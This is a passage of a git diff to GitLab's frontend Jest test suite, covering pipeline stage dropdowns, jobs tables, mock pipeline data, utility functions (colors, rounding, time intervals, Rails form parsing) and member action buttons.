- source_branch_path: '/root/detached-merge-request-pipelines/branches/feature-1234',
- target_branch: 'master',
- target_branch_path: '/root/detached-merge-request-pipelines/branches/master',
- },
- ref: {
- name: 'test-branch',
- },
+ let wrapper;
+
+ const findStatus = () => wrapper.findComponent(CiIcon);
+ const findSelectedStageText = () => wrapper.findComponent(GlDropdown).props('text');
+ const findStageItem = (index) => wrapper.findAllComponents(GlDropdownItem).at(index);
+
+ const findPipelineInfoText = () => wrapper.findByTestId('pipeline-info').text();
+ const findPipelinePath = () => wrapper.findByTestId('pipeline-path').attributes('href');
+ const findMRLinkPath = () => wrapper.findByTestId('mr-link').attributes('href');
+ const findSourceBranchLinkPath = () =>
+ wrapper.findByTestId('source-branch-link').attributes('href');
+ const findTargetBranchLinkPath = () =>
+ wrapper.findByTestId('target-branch-link').attributes('href');
+
+ const createComponent = (props) => {
+ wrapper = extendedWrapper(
+ shallowMount(StagesDropdown, {
+ propsData: {
+ ...props,
+ },
+ }),
+ );
};
- describe('without a merge request pipeline', () => {
- let pipeline;
+ afterEach(() => {
+ wrapper.destroy();
+ });
+ describe('without a merge request pipeline', () => {
beforeEach(() => {
- pipeline = JSON.parse(JSON.stringify(mockPipelineData));
- delete pipeline.merge_request;
- delete pipeline.flags.merge_request_pipeline;
- delete pipeline.flags.detached_merge_request_pipeline;
-
- vm = mountComponent(Component, {
- pipeline,
+ createComponent({
+ pipeline: mockPipelineWithoutMR,
stages: [{ name: 'build' }, { name: 'test' }],
selectedStage: 'deploy',
});
});
- afterEach(() => {
- vm.$destroy();
- });
-
it('renders pipeline status', () => {
- expect(vm.$el.querySelector('.js-ci-status-icon-success')).not.toBeNull();
+ expect(findStatus().exists()).toBe(true);
});
it('renders pipeline link', () => {
- expect(vm.$el.querySelector('.js-pipeline-path').getAttribute('href')).toEqual(
- 'pipeline/28029444',
- );
+ expect(findPipelinePath()).toBe('pipeline/28029444');
});
it('renders dropdown with stages', () => {
- expect(vm.$el.querySelector('.dropdown .js-stage-item').textContent).toContain('build');
+ expect(findStageItem(0).text()).toBe('build');
});
it('rendes selected stage', () => {
- expect(vm.$el.querySelector('.dropdown .js-selected-stage').textContent).toContain('deploy');
+ expect(findSelectedStageText()).toBe('deploy');
});
it(`renders the pipeline info text like "Pipeline #123 for source_branch"`, () => {
- const expected = `Pipeline #${pipeline.id} for ${pipeline.ref.name}`;
- const actual = trimText(vm.$el.querySelector('.js-pipeline-info').innerText);
+ const expected = `Pipeline #${mockPipelineWithoutMR.id} for ${mockPipelineWithoutMR.ref.name}`;
+ const actual = trimText(findPipelineInfoText());
expect(actual).toBe(expected);
});
});
describe('with an "attached" merge request pipeline', () => {
- let pipeline;
-
beforeEach(() => {
- pipeline = JSON.parse(JSON.stringify(mockPipelineData));
- pipeline.flags.merge_request_pipeline = true;
- pipeline.flags.detached_merge_request_pipeline = false;
-
- vm = mountComponent(Component, {
- pipeline,
+ createComponent({
+ pipeline: mockPipelineWithAttachedMR,
stages: [],
selectedStage: 'deploy',
});
});
it(`renders the pipeline info text like "Pipeline #123 for !456 with source_branch into target_branch"`, () => {
- const expected = `Pipeline #${pipeline.id} for !${pipeline.merge_request.iid} with ${pipeline.merge_request.source_branch} into ${pipeline.merge_request.target_branch}`;
- const actual = trimText(vm.$el.querySelector('.js-pipeline-info').innerText);
+ const expected = `Pipeline #${mockPipelineWithAttachedMR.id} for !${mockPipelineWithAttachedMR.merge_request.iid} with ${mockPipelineWithAttachedMR.merge_request.source_branch} into ${mockPipelineWithAttachedMR.merge_request.target_branch}`;
+ const actual = trimText(findPipelineInfoText());
expect(actual).toBe(expected);
});
it(`renders the correct merge request link`, () => {
- const actual = vm.$el.querySelector('.js-mr-link').href;
-
- expect(actual).toContain(pipeline.merge_request.path);
+ expect(findMRLinkPath()).toBe(mockPipelineWithAttachedMR.merge_request.path);
});
it(`renders the correct source branch link`, () => {
- const actual = vm.$el.querySelector('.js-source-branch-link').href;
-
- expect(actual).toContain(pipeline.merge_request.source_branch_path);
+ expect(findSourceBranchLinkPath()).toBe(
+ mockPipelineWithAttachedMR.merge_request.source_branch_path,
+ );
});
it(`renders the correct target branch link`, () => {
- const actual = vm.$el.querySelector('.js-target-branch-link').href;
-
- expect(actual).toContain(pipeline.merge_request.target_branch_path);
+ expect(findTargetBranchLinkPath()).toBe(
+ mockPipelineWithAttachedMR.merge_request.target_branch_path,
+ );
});
});
describe('with a detached merge request pipeline', () => {
- let pipeline;
-
beforeEach(() => {
- pipeline = JSON.parse(JSON.stringify(mockPipelineData));
- pipeline.flags.merge_request_pipeline = false;
- pipeline.flags.detached_merge_request_pipeline = true;
-
- vm = mountComponent(Component, {
- pipeline,
+ createComponent({
+ pipeline: mockPipelineDetached,
stages: [],
selectedStage: 'deploy',
});
});
it(`renders the pipeline info like "Pipeline #123 for !456 with source_branch"`, () => {
- const expected = `Pipeline #${pipeline.id} for !${pipeline.merge_request.iid} with ${pipeline.merge_request.source_branch}`;
- const actual = trimText(vm.$el.querySelector('.js-pipeline-info').innerText);
+ const expected = `Pipeline #${mockPipelineDetached.id} for !${mockPipelineDetached.merge_request.iid} with ${mockPipelineDetached.merge_request.source_branch}`;
+ const actual = trimText(findPipelineInfoText());
expect(actual).toBe(expected);
});
it(`renders the correct merge request link`, () => {
- const actual = vm.$el.querySelector('.js-mr-link').href;
-
- expect(actual).toContain(pipeline.merge_request.path);
+ expect(findMRLinkPath()).toBe(mockPipelineDetached.merge_request.path);
});
it(`renders the correct source branch link`, () => {
- const actual = vm.$el.querySelector('.js-source-branch-link').href;
-
- expect(actual).toContain(pipeline.merge_request.source_branch_path);
+ expect(findSourceBranchLinkPath()).toBe(
+ mockPipelineDetached.merge_request.source_branch_path,
+ );
});
});
});
diff --git a/spec/frontend/jobs/components/table/jobs_table_spec.js b/spec/frontend/jobs/components/table/jobs_table_spec.js
new file mode 100644
index 00000000000..db057efbfb4
--- /dev/null
+++ b/spec/frontend/jobs/components/table/jobs_table_spec.js
@@ -0,0 +1,31 @@
+import { GlTable } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import JobsTable from '~/jobs/components/table/jobs_table.vue';
+import { mockJobsInTable } from '../../mock_data';
+
+describe('Jobs Table', () => {
+ let wrapper;
+
+ const findTable = () => wrapper.findComponent(GlTable);
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(JobsTable, {
+ propsData: {
+ jobs: mockJobsInTable,
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('displays a table', () => {
+ expect(findTable().exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/jobs/components/table/jobs_table_tabs_spec.js b/spec/frontend/jobs/components/table/jobs_table_tabs_spec.js
new file mode 100644
index 00000000000..ac9b45be932
--- /dev/null
+++ b/spec/frontend/jobs/components/table/jobs_table_tabs_spec.js
@@ -0,0 +1,42 @@
+import { mount } from '@vue/test-utils';
+import { trimText } from 'helpers/text_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import JobsTableTabs from '~/jobs/components/table/jobs_table_tabs.vue';
+
+describe('Jobs Table Tabs', () => {
+ let wrapper;
+
+ const defaultProps = {
+ jobCounts: { all: 848, pending: 0, running: 0, finished: 704 },
+ };
+
+ const findTab = (testId) => wrapper.findByTestId(testId);
+
+ const createComponent = () => {
+ wrapper = extendedWrapper(
+ mount(JobsTableTabs, {
+ provide: {
+ ...defaultProps,
+ },
+ }),
+ );
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it.each`
+ tabId | text | count
+ ${'jobs-all-tab'} | ${'All'} | ${defaultProps.jobCounts.all}
+ ${'jobs-pending-tab'} | ${'Pending'} | ${defaultProps.jobCounts.pending}
+ ${'jobs-running-tab'} | ${'Running'} | ${defaultProps.jobCounts.running}
+ ${'jobs-finished-tab'} | ${'Finished'} | ${defaultProps.jobCounts.finished}
+ `('displays the right tab text and badge count', ({ tabId, text, count }) => {
+ expect(trimText(findTab(tabId).text())).toBe(`${text} ${count}`);
+ });
+});
diff --git a/spec/frontend/jobs/mock_data.js b/spec/frontend/jobs/mock_data.js
index 3d40e94d219..1432c6d7e9b 100644
--- a/spec/frontend/jobs/mock_data.js
+++ b/spec/frontend/jobs/mock_data.js
@@ -911,6 +911,9 @@ export const stages = [
export default {
id: 4757,
+ artifact: {
+ locked: false,
+ },
name: 'test',
build_path: '/root/ci-mock/-/jobs/4757',
retry_path: '/root/ci-mock/-/jobs/4757/retry',
@@ -955,6 +958,7 @@ export default {
artifacts: [null],
runner: {
id: 1,
+ short_sha: 'ABCDEFGH',
description: 'local ci runner',
edit_path: '/root/ci-mock/runners/1/edit',
},
@@ -1189,3 +1193,214 @@ export const jobsInStage = {
path: '/gitlab-org/gitlab-shell/pipelines/27#build',
dropdown_path: '/gitlab-org/gitlab-shell/pipelines/27/stage.json?stage=build',
};
+
+export const mockPipelineWithoutMR = {
+ id: 28029444,
+ details: {
+ status: {
+ details_path: '/gitlab-org/gitlab-foss/pipelines/28029444',
+ group: 'success',
+ has_details: true,
+ icon: 'status_success',
+ label: 'passed',
+ text: 'passed',
+ tooltip: 'passed',
+ },
+ },
+ path: 'pipeline/28029444',
+ ref: {
+ name: 'test-branch',
+ },
+};
+
+export const mockPipelineWithAttachedMR = {
+ id: 28029444,
+ details: {
+ status: {
+ details_path: '/gitlab-org/gitlab-foss/pipelines/28029444',
+ group: 'success',
+ has_details: true,
+ icon: 'status_success',
+ label: 'passed',
+ text: 'passed',
+ tooltip: 'passed',
+ },
+ },
+ path: 'pipeline/28029444',
+ flags: {
+ merge_request_pipeline: true,
+ detached_merge_request_pipeline: false,
+ },
+ merge_request: {
+ iid: 1234,
+ path: '/root/detached-merge-request-pipelines/-/merge_requests/1',
+ title: 'Update README.md',
+ source_branch: 'feature-1234',
+ source_branch_path: '/root/detached-merge-request-pipelines/branches/feature-1234',
+ target_branch: 'master',
+ target_branch_path: '/root/detached-merge-request-pipelines/branches/master',
+ },
+ ref: {
+ name: 'test-branch',
+ },
+};
+
+export const mockPipelineDetached = {
+ id: 28029444,
+ details: {
+ status: {
+ details_path: '/gitlab-org/gitlab-foss/pipelines/28029444',
+ group: 'success',
+ has_details: true,
+ icon: 'status_success',
+ label: 'passed',
+ text: 'passed',
+ tooltip: 'passed',
+ },
+ },
+ path: 'pipeline/28029444',
+ flags: {
+ merge_request_pipeline: false,
+ detached_merge_request_pipeline: true,
+ },
+ merge_request: {
+ iid: 1234,
+ path: '/root/detached-merge-request-pipelines/-/merge_requests/1',
+ title: 'Update README.md',
+ source_branch: 'feature-1234',
+ source_branch_path: '/root/detached-merge-request-pipelines/branches/feature-1234',
+ target_branch: 'master',
+ target_branch_path: '/root/detached-merge-request-pipelines/branches/master',
+ },
+ ref: {
+ name: 'test-branch',
+ },
+};
+
+export const mockJobsInTable = [
+ {
+ detailedStatus: {
+ icon: 'status_manual',
+ label: 'manual play action',
+ text: 'manual',
+ tooltip: 'manual action',
+ action: {
+ buttonTitle: 'Trigger this manual action',
+ icon: 'play',
+ method: 'post',
+ path: '/root/ci-project/-/jobs/2004/play',
+ title: 'Play',
+ __typename: 'StatusAction',
+ },
+ __typename: 'DetailedStatus',
+ },
+ id: 'gid://gitlab/Ci::Build/2004',
+ refName: 'master',
+ refPath: '/root/ci-project/-/commits/master',
+ tags: [],
+ shortSha: '2d5d8323',
+ commitPath: '/root/ci-project/-/commit/2d5d83230bdea0e003d83ef4c16d2bf9a8808ebe',
+ pipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/423',
+ path: '/root/ci-project/-/pipelines/423',
+ user: {
+ webPath: '/root',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ __typename: 'User',
+ },
+ __typename: 'Pipeline',
+ },
+ stage: { name: 'test', __typename: 'CiStage' },
+ name: 'test_manual_job',
+ duration: null,
+ finishedAt: null,
+ coverage: null,
+ retryable: false,
+ playable: true,
+ cancelable: false,
+ active: false,
+ __typename: 'CiJob',
+ },
+ {
+ detailedStatus: {
+ icon: 'status_skipped',
+ label: 'skipped',
+ text: 'skipped',
+ tooltip: 'skipped',
+ action: null,
+ __typename: 'DetailedStatus',
+ },
+ id: 'gid://gitlab/Ci::Build/2021',
+ refName: 'master',
+ refPath: '/root/ci-project/-/commits/master',
+ tags: [],
+ shortSha: '2d5d8323',
+ commitPath: '/root/ci-project/-/commit/2d5d83230bdea0e003d83ef4c16d2bf9a8808ebe',
+ pipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/425',
+ path: '/root/ci-project/-/pipelines/425',
+ user: {
+ webPath: '/root',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ __typename: 'User',
+ },
+ __typename: 'Pipeline',
+ },
+ stage: { name: 'test', __typename: 'CiStage' },
+ name: 'coverage_job',
+ duration: null,
+ finishedAt: null,
+ coverage: null,
+ retryable: false,
+ playable: false,
+ cancelable: false,
+ active: false,
+ __typename: 'CiJob',
+ },
+ {
+ detailedStatus: {
+ icon: 'status_success',
+ label: 'passed',
+ text: 'passed',
+ tooltip: 'passed',
+ action: {
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ method: 'post',
+ path: '/root/ci-project/-/jobs/2015/retry',
+ title: 'Retry',
+ __typename: 'StatusAction',
+ },
+ __typename: 'DetailedStatus',
+ },
+ id: 'gid://gitlab/Ci::Build/2015',
+ refName: 'master',
+ refPath: '/root/ci-project/-/commits/master',
+ tags: [],
+ shortSha: '2d5d8323',
+ commitPath: '/root/ci-project/-/commit/2d5d83230bdea0e003d83ef4c16d2bf9a8808ebe',
+ pipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/424',
+ path: '/root/ci-project/-/pipelines/424',
+ user: {
+ webPath: '/root',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ __typename: 'User',
+ },
+ __typename: 'Pipeline',
+ },
+ stage: { name: 'deploy', __typename: 'CiStage' },
+ name: 'artifact_job',
+ duration: 2,
+ finishedAt: '2021-04-01T17:36:18Z',
+ coverage: null,
+ retryable: true,
+ playable: false,
+ cancelable: false,
+ active: false,
+ __typename: 'CiJob',
+ },
+];
diff --git a/spec/frontend/lib/utils/color_utils_spec.js b/spec/frontend/lib/utils/color_utils_spec.js
index 8c846abd77f..c6b88b2957c 100644
--- a/spec/frontend/lib/utils/color_utils_spec.js
+++ b/spec/frontend/lib/utils/color_utils_spec.js
@@ -1,4 +1,9 @@
-import { textColorForBackground, hexToRgb, validateHexColor } from '~/lib/utils/color_utils';
+import {
+ textColorForBackground,
+ hexToRgb,
+ validateHexColor,
+ darkModeEnabled,
+} from '~/lib/utils/color_utils';
describe('Color utils', () => {
describe('Converting hex code to rgb', () => {
@@ -47,4 +52,24 @@ describe('Color utils', () => {
expect(validateHexColor(color)).toEqual(output);
});
});
+
+ describe('darkModeEnabled', () => {
+ it.each`
+ page | bodyClass | ideTheme | expected
+ ${'ide:index'} | ${'gl-dark'} | ${'monokai-light'} | ${false}
+ ${'ide:index'} | ${'ui-light'} | ${'monokai'} | ${true}
+ ${'groups:issues:index'} | ${'ui-light'} | ${'monokai'} | ${false}
+ ${'groups:issues:index'} | ${'gl-dark'} | ${'monokai-light'} | ${true}
+ `(
+ 'is $expected on $page with $bodyClass body class and $ideTheme IDE theme',
+ async ({ page, bodyClass, ideTheme, expected }) => {
+ document.body.outerHTML = `<body class="${bodyClass}" data-page="${page}"></body>`;
+ window.gon = {
+ user_color_scheme: ideTheme,
+ };
+
+ expect(darkModeEnabled()).toBe(expected);
+ },
+ );
+ });
});
diff --git a/spec/frontend/lib/utils/common_utils_spec.js b/spec/frontend/lib/utils/common_utils_spec.js
index 18be88a0b8b..e03d1ef7295 100644
--- a/spec/frontend/lib/utils/common_utils_spec.js
+++ b/spec/frontend/lib/utils/common_utils_spec.js
@@ -987,6 +987,16 @@ describe('common_utils', () => {
});
});
+ describe('roundToNearestHalf', () => {
+ it('Rounds decimals ot the nearest half', () => {
+ expect(commonUtils.roundToNearestHalf(3.141592)).toBe(3);
+ expect(commonUtils.roundToNearestHalf(3.41592)).toBe(3.5);
+ expect(commonUtils.roundToNearestHalf(1.27)).toBe(1.5);
+ expect(commonUtils.roundToNearestHalf(1.23)).toBe(1);
+ expect(commonUtils.roundToNearestHalf(1.778)).toBe(2);
+ });
+ });
+
describe('searchBy', () => {
const searchSpace = {
iid: 1,
diff --git a/spec/frontend/lib/utils/datetime_utility_spec.js b/spec/frontend/lib/utils/datetime_utility_spec.js
index 2df0cb00f9a..6180cd8e94d 100644
--- a/spec/frontend/lib/utils/datetime_utility_spec.js
+++ b/spec/frontend/lib/utils/datetime_utility_spec.js
@@ -178,6 +178,30 @@ describe('timeIntervalInWords', () => {
});
});
+describe('humanizeTimeInterval', () => {
+ it.each`
+ intervalInSeconds | expected
+ ${0} | ${'0 seconds'}
+ ${1} | ${'1 second'}
+ ${1.48} | ${'1.5 seconds'}
+ ${2} | ${'2 seconds'}
+ ${60} | ${'1 minute'}
+ ${91} | ${'1.5 minutes'}
+ ${120} | ${'2 minutes'}
+ ${3600} | ${'1 hour'}
+ ${5401} | ${'1.5 hours'}
+ ${7200} | ${'2 hours'}
+ ${86400} | ${'1 day'}
+ ${129601} | ${'1.5 days'}
+ ${172800} | ${'2 days'}
+ `(
+ 'returns "$expected" when the time interval is $intervalInSeconds seconds',
+ ({ intervalInSeconds, expected }) => {
+ expect(datetimeUtility.humanizeTimeInterval(intervalInSeconds)).toBe(expected);
+ },
+ );
+});
+
describe('dateInWords', () => {
const date = new Date('07/01/2016');
@@ -966,62 +990,6 @@ describe('format24HourTimeStringFromInt', () => {
});
});
-describe('getOverlapDateInPeriods', () => {
- const start = new Date(2021, 0, 11);
- const end = new Date(2021, 0, 13);
-
- describe('when date periods overlap', () => {
- const givenPeriodLeft = new Date(2021, 0, 11);
- const givenPeriodRight = new Date(2021, 0, 14);
-
- it('returns an overlap object that contains the amount of days overlapping, the amount of hours overlapping, start date of overlap and end date of overlap', () => {
- expect(
- datetimeUtility.getOverlapDateInPeriods(
- { start, end },
- { start: givenPeriodLeft, end: givenPeriodRight },
- ),
- ).toEqual({
- daysOverlap: 2,
- hoursOverlap: 48,
- overlapStartDate: givenPeriodLeft.getTime(),
- overlapEndDate: end.getTime(),
- });
- });
- });
-
- describe('when date periods do not overlap', () => {
- const givenPeriodLeft = new Date(2021, 0, 9);
- const givenPeriodRight = new Date(2021, 0, 10);
-
- it('returns an overlap object that contains a 0 value for days overlapping', () => {
- expect(
- datetimeUtility.getOverlapDateInPeriods(
- { start, end },
- { start: givenPeriodLeft, end: givenPeriodRight },
- ),
- ).toEqual({ daysOverlap: 0 });
- });
- });
-
- describe('when date periods contain an invalid Date', () => {
- const startInvalid = new Date(NaN);
- const endInvalid = new Date(NaN);
- const error = __('Invalid period');
-
- it('throws an exception when the left period contains an invalid date', () => {
- expect(() =>
- datetimeUtility.getOverlapDateInPeriods({ start, end }, { start: startInvalid, end }),
- ).toThrow(error);
- });
-
- it('throws an exception when the right period contains an invalid date', () => {
- expect(() =>
- datetimeUtility.getOverlapDateInPeriods({ start, end }, { start, end: endInvalid }),
- ).toThrow(error);
- });
- });
-});
-
describe('isToday', () => {
const today = new Date();
it.each`
diff --git a/spec/frontend/lib/utils/forms_spec.js b/spec/frontend/lib/utils/forms_spec.js
index f65bd8ffe0c..123d36ac5d5 100644
--- a/spec/frontend/lib/utils/forms_spec.js
+++ b/spec/frontend/lib/utils/forms_spec.js
@@ -1,4 +1,9 @@
-import { serializeForm, serializeFormObject, isEmptyValue } from '~/lib/utils/forms';
+import {
+ serializeForm,
+ serializeFormObject,
+ isEmptyValue,
+ parseRailsFormFields,
+} from '~/lib/utils/forms';
describe('lib/utils/forms', () => {
const createDummyForm = (inputs) => {
@@ -135,4 +140,160 @@ describe('lib/utils/forms', () => {
});
});
});
+
+ describe('parseRailsFormFields', () => {
+ let mountEl;
+
+ beforeEach(() => {
+ mountEl = document.createElement('div');
+ mountEl.classList.add('js-foo-bar');
+ });
+
+ afterEach(() => {
+ mountEl = null;
+ });
+
+ it('parses fields generated by Rails and returns object with HTML attributes', () => {
+ mountEl.innerHTML = `
+ <input type="text" placeholder="Name" value="Administrator" name="user[name]" id="user_name" data-js-name="name">
+ <input type="text" placeholder="Email" value="foo@bar.com" name="user[contact_info][email]" id="user_contact_info_email" data-js-name="contactInfoEmail">
+ <input type="text" placeholder="Phone" value="(123) 456-7890" name="user[contact_info][phone]" id="user_contact_info_phone" data-js-name="contact_info_phone">
+ <input type="hidden" placeholder="Job title" value="" name="user[job_title]" id="user_job_title" data-js-name="jobTitle">
+ <textarea name="user[bio]" id="user_bio" data-js-name="bio">Foo bar</textarea>
+ <select name="user[timezone]" id="user_timezone" data-js-name="timezone">
+ <option value="utc+12">[UTC - 12] International Date Line West</option>
+ <option value="utc+11" selected>[UTC - 11] American Samoa</option>
+ </select>
+ <input type="checkbox" name="user[interests][]" id="user_interests_vue" value="Vue" checked data-js-name="interests">
+ <input type="checkbox" name="user[interests][]" id="user_interests_graphql" value="GraphQL" data-js-name="interests">
+ <input type="radio" name="user[access_level]" value="regular" id="user_access_level_regular" data-js-name="accessLevel">
+ <input type="radio" name="user[access_level]" value="admin" id="user_access_level_admin" checked data-js-name="access_level">
+ <input name="user[private_profile]" type="hidden" value="0">
+ <input type="radio" name="user[private_profile]" id="user_private_profile" value="1" checked data-js-name="privateProfile">
+ <input name="user[email_notifications]" type="hidden" value="0">
+ <input type="radio" name="user[email_notifications]" id="user_email_notifications" value="1" data-js-name="emailNotifications">
+ `;
+
+ expect(parseRailsFormFields(mountEl)).toEqual({
+ name: {
+ name: 'user[name]',
+ id: 'user_name',
+ value: 'Administrator',
+ placeholder: 'Name',
+ },
+ contactInfoEmail: {
+ name: 'user[contact_info][email]',
+ id: 'user_contact_info_email',
+ value: 'foo@bar.com',
+ placeholder: 'Email',
+ },
+ contactInfoPhone: {
+ name: 'user[contact_info][phone]',
+ id: 'user_contact_info_phone',
+ value: '(123) 456-7890',
+ placeholder: 'Phone',
+ },
+ jobTitle: {
+ name: 'user[job_title]',
+ id: 'user_job_title',
+ value: '',
+ placeholder: 'Job title',
+ },
+ bio: {
+ name: 'user[bio]',
+ id: 'user_bio',
+ value: 'Foo bar',
+ },
+ timezone: {
+ name: 'user[timezone]',
+ id: 'user_timezone',
+ value: 'utc+11',
+ },
+ interests: [
+ {
+ name: 'user[interests][]',
+ id: 'user_interests_vue',
+ value: 'Vue',
+ checked: true,
+ },
+ {
+ name: 'user[interests][]',
+ id: 'user_interests_graphql',
+ value: 'GraphQL',
+ checked: false,
+ },
+ ],
+ accessLevel: [
+ {
+ name: 'user[access_level]',
+ id: 'user_access_level_regular',
+ value: 'regular',
+ checked: false,
+ },
+ {
+ name: 'user[access_level]',
+ id: 'user_access_level_admin',
+ value: 'admin',
+ checked: true,
+ },
+ ],
+ privateProfile: [
+ {
+ name: 'user[private_profile]',
+ id: 'user_private_profile',
+ value: '1',
+ checked: true,
+ },
+ ],
+ emailNotifications: [
+ {
+ name: 'user[email_notifications]',
+ id: 'user_email_notifications',
+ value: '1',
+ checked: false,
+ },
+ ],
+ });
+ });
+
+ it('returns an empty object if there are no inputs', () => {
+ expect(parseRailsFormFields(mountEl)).toEqual({});
+ });
+
+ it('returns an empty object if inputs do not have `name` attributes', () => {
+ mountEl.innerHTML = `
+ <input type="text" placeholder="Name" value="Administrator" id="user_name">
+ <input type="text" placeholder="Email" value="foo@bar.com" id="user_contact_info_email">
+ <input type="text" placeholder="Phone" value="(123) 456-7890" id="user_contact_info_phone">
+ `;
+
+ expect(parseRailsFormFields(mountEl)).toEqual({});
+ });
+
+ it('does not include field if `data-js-name` attribute is missing', () => {
+ mountEl.innerHTML = `
+ <input type="text" placeholder="Name" value="Administrator" name="user[name]" id="user_name" data-js-name="name">
+ <input type="text" placeholder="Email" value="foo@bar.com" name="user[email]" id="email">
+ `;
+
+ expect(parseRailsFormFields(mountEl)).toEqual({
+ name: {
+ name: 'user[name]',
+ id: 'user_name',
+ value: 'Administrator',
+ placeholder: 'Name',
+ },
+ });
+ });
+
+ it('throws error if `mountEl` argument is not passed', () => {
+ expect(() => parseRailsFormFields()).toThrow(new TypeError('`mountEl` argument is required'));
+ });
+
+ it('throws error if `mountEl` argument is `null`', () => {
+ expect(() => parseRailsFormFields(null)).toThrow(
+ new TypeError('`mountEl` argument is required'),
+ );
+ });
+ });
});
diff --git a/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js
index f86237dc160..f1471f625f8 100644
--- a/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js
+++ b/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js
@@ -42,6 +42,7 @@ describe('AccessRequestActionButtons', () => {
memberId: member.id,
title: 'Deny access',
isAccessRequest: true,
+ isInvite: false,
icon: 'close',
});
});
diff --git a/spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js b/spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js
index f77d41a642e..936715e7723 100644
--- a/spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js
+++ b/spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js
@@ -3,6 +3,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import ApproveAccessRequestButton from '~/members/components/action_buttons/approve_access_request_button.vue';
+import { MEMBER_TYPES } from '~/members/constants';
jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
@@ -14,9 +15,14 @@ describe('ApproveAccessRequestButton', () => {
const createStore = (state = {}) => {
return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_members/:id',
- ...state,
+ modules: {
+ [MEMBER_TYPES.accessRequest]: {
+ namespaced: true,
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ },
},
});
};
@@ -25,6 +31,9 @@ describe('ApproveAccessRequestButton', () => {
wrapper = shallowMount(ApproveAccessRequestButton, {
localVue,
store: createStore(state),
+ provide: {
+ namespace: MEMBER_TYPES.accessRequest,
+ },
propsData: {
memberId: 1,
...propsData,
diff --git a/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js
index fe63f9bfaa7..e7a99a96da6 100644
--- a/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js
+++ b/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js
@@ -39,9 +39,11 @@ describe('InviteActionButtons', () => {
it('sets props correctly', () => {
expect(findRemoveMemberButton().props()).toEqual({
memberId: member.id,
+ memberType: null,
message: `Are you sure you want to revoke the invitation for ${member.invite.email} to join "${member.source.fullName}"`,
title: 'Revoke invite',
isAccessRequest: false,
+ isInvite: true,
icon: 'remove',
});
});
diff --git a/spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js b/spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js
index f6e342898cb..f91aef131a1 100644
--- a/spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js
+++ b/spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js
@@ -3,6 +3,7 @@ import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import RemoveGroupLinkButton from '~/members/components/action_buttons/remove_group_link_button.vue';
+import { MEMBER_TYPES } from '~/members/constants';
import { group } from '../../mock_data';
const localVue = createLocalVue();
@@ -17,7 +18,12 @@ describe('RemoveGroupLinkButton', () => {
const createStore = () => {
return new Vuex.Store({
- actions,
+ modules: {
+ [MEMBER_TYPES.group]: {
+ namespaced: true,
+ actions,
+ },
+ },
});
};
@@ -25,6 +31,9 @@ describe('RemoveGroupLinkButton', () => {
wrapper = mount(RemoveGroupLinkButton, {
localVue,
store: createStore(),
+ provide: {
+ namespace: MEMBER_TYPES.group,
+ },
propsData: {
groupLink: group,
},
diff --git a/spec/frontend/members/components/action_buttons/remove_member_button_spec.js b/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
index 437b3e705a4..4ff12f7fa97 100644
--- a/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
+++ b/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
@@ -2,6 +2,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import RemoveMemberButton from '~/members/components/action_buttons/remove_member_button.vue';
+import { MEMBER_TYPES } from '~/members/constants';
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -11,9 +12,14 @@ describe('RemoveMemberButton', () => {
const createStore = (state = {}) => {
return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_members/:id',
- ...state,
+ modules: {
+ [MEMBER_TYPES.user]: {
+ namespaced: true,
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ },
},
});
};
@@ -22,11 +28,17 @@ describe('RemoveMemberButton', () => {
wrapper = shallowMount(RemoveMemberButton, {
localVue,
store: createStore(state),
+ provide: {
+ namespace: MEMBER_TYPES.user,
+ },
propsData: {
memberId: 1,
+ memberType: 'GroupMember',
message: 'Are you sure you want to remove John Smith?',
title: 'Remove member',
